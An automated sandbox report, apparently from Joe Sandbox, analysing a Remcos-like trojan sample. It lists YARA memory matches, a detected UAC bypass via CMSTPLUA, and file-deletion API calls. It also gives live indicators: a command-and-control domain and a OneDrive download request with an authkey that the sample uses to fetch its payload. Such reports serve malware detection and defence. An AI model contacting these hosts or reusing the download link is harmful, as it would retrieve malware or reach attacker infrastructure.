Source: Yara match	File source: 00000004.00000003.2851259856.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4174702696.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4128240945.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4112862781.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3035450983.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2441068745.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2134604580.0000000000902000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3051742899.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3097371106.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155612708.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4193342497.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3133149930.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2590415900.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2970099930.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4186922519.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108402859.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2503434982.0000000000885000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2534967306.000000000058C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2473564906.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2986429967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2624186369.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3126775028.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3147479864.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3891529229.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2990087085.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2924688106.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4182981768.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2449917599.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3177194621.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4206966787.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3166598662.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2575632661.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3118446136.00000000008B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3129933999.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3048020259.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3211964788.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3556121337.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2597324711.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3072775646.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3202677250.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4203802144.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3199136565.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2855238771.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2998039097.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4150586108.0000000000832000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4104689962.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3953749266.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4190364611.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2651773256.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3903387699.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2513853407.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2483626145.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2993705504.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3170185059.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2434407266.0000000015D10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4108651921.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2500770364.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4139785485.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2417235143.0000000000936000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.3282868515.00000000008B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2665633974.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2966180059.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2509275795.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4149829264.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2571716341.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.4155304442.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 7148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 2544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 4080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Tuscpznj.PIF PID: 3708, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: adode.exe PID: 3740, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16053837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	0_2_16053837
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15783837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	6_2_15783837
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EE3837 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,	7_2_15EE3837

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Binary or memory string: -----BEGIN PUBLIC KEY-----

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2159845024.000000007EDF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe PID: 1612, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_160274FD _wcslen,CoGetObject,

0_2_160274FD

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe.16020000.7.unpack

Source: SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.137.11:443 -> 192.168.2.6:49749 version: TLS 1.2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16029665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	0_2_16029665
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16029253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	0_2_16029253
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1603C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	0_2_1603C291
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	0_2_1602C34D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	0_2_1602BD37
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_16039AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	0_2_16039AF5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	0_2_1602BB30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	0_2_1602880C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1602783C FindFirstFileW,FindNextFileW,	0_2_1602783C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_1606E879 FindFirstFileExA,	0_2_1606E879
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	Code function: 0_2_03F658CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_03F658CC
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1579E879 FindFirstFileExA,	6_2_1579E879
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15759665 FindFirstFileW,FindNextFileW,FindClose,FindClose,	6_2_15759665
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15759663 FindFirstFileW,	6_2_15759663
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575783C FindFirstFileW,FindNextFileW,	6_2_1575783C
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575880C FindFirstFileW,FindNextFileW,FindClose,	6_2_1575880C
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	6_2_1575C34D
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1575BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	6_2_1575BB30
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_15769AF5 FindFirstFileW,	6_2_15769AF5
Source: C:\Users\Public\Libraries\Tuscpznj.PIF	Code function: 6_2_1576C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	6_2_1576C291
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EB9665 FindFirstFileW,FindNextFileW,FindClose,FindClose,	7_2_15EB9665
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EB783C FindFirstFileW,FindNextFileW,	7_2_15EB783C
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EB880C FindFirstFileW,FindNextFileW,FindClose,	7_2_15EB880C
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EBC34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	7_2_15EBC34D
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EBBB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	7_2_15EBBB30
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EC9AF5 FindFirstFileW,	7_2_15EC9AF5
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15ECC291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	7_2_15ECC291
Source: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Code function: 7_2_15EFE879 FindFirstFileExA,	7_2_15EFE879

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_16027C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

0_2_16027C97

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local\Temp\Skype	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local\Temp\Skype\adode.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: newpage44.mywire.org

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_03F7C8AC InternetCheckConnectionA,

0_2_03F7C8AC

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 13.107.137.11 13.107.137.11
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe

Code function: 0_2_1603663B Sleep,URLDownloadToFileW,

0_2_1603663B

Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /download?resid=D2FF5C6240820574%21686&authkey=!AJZItBZbijDqqSo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

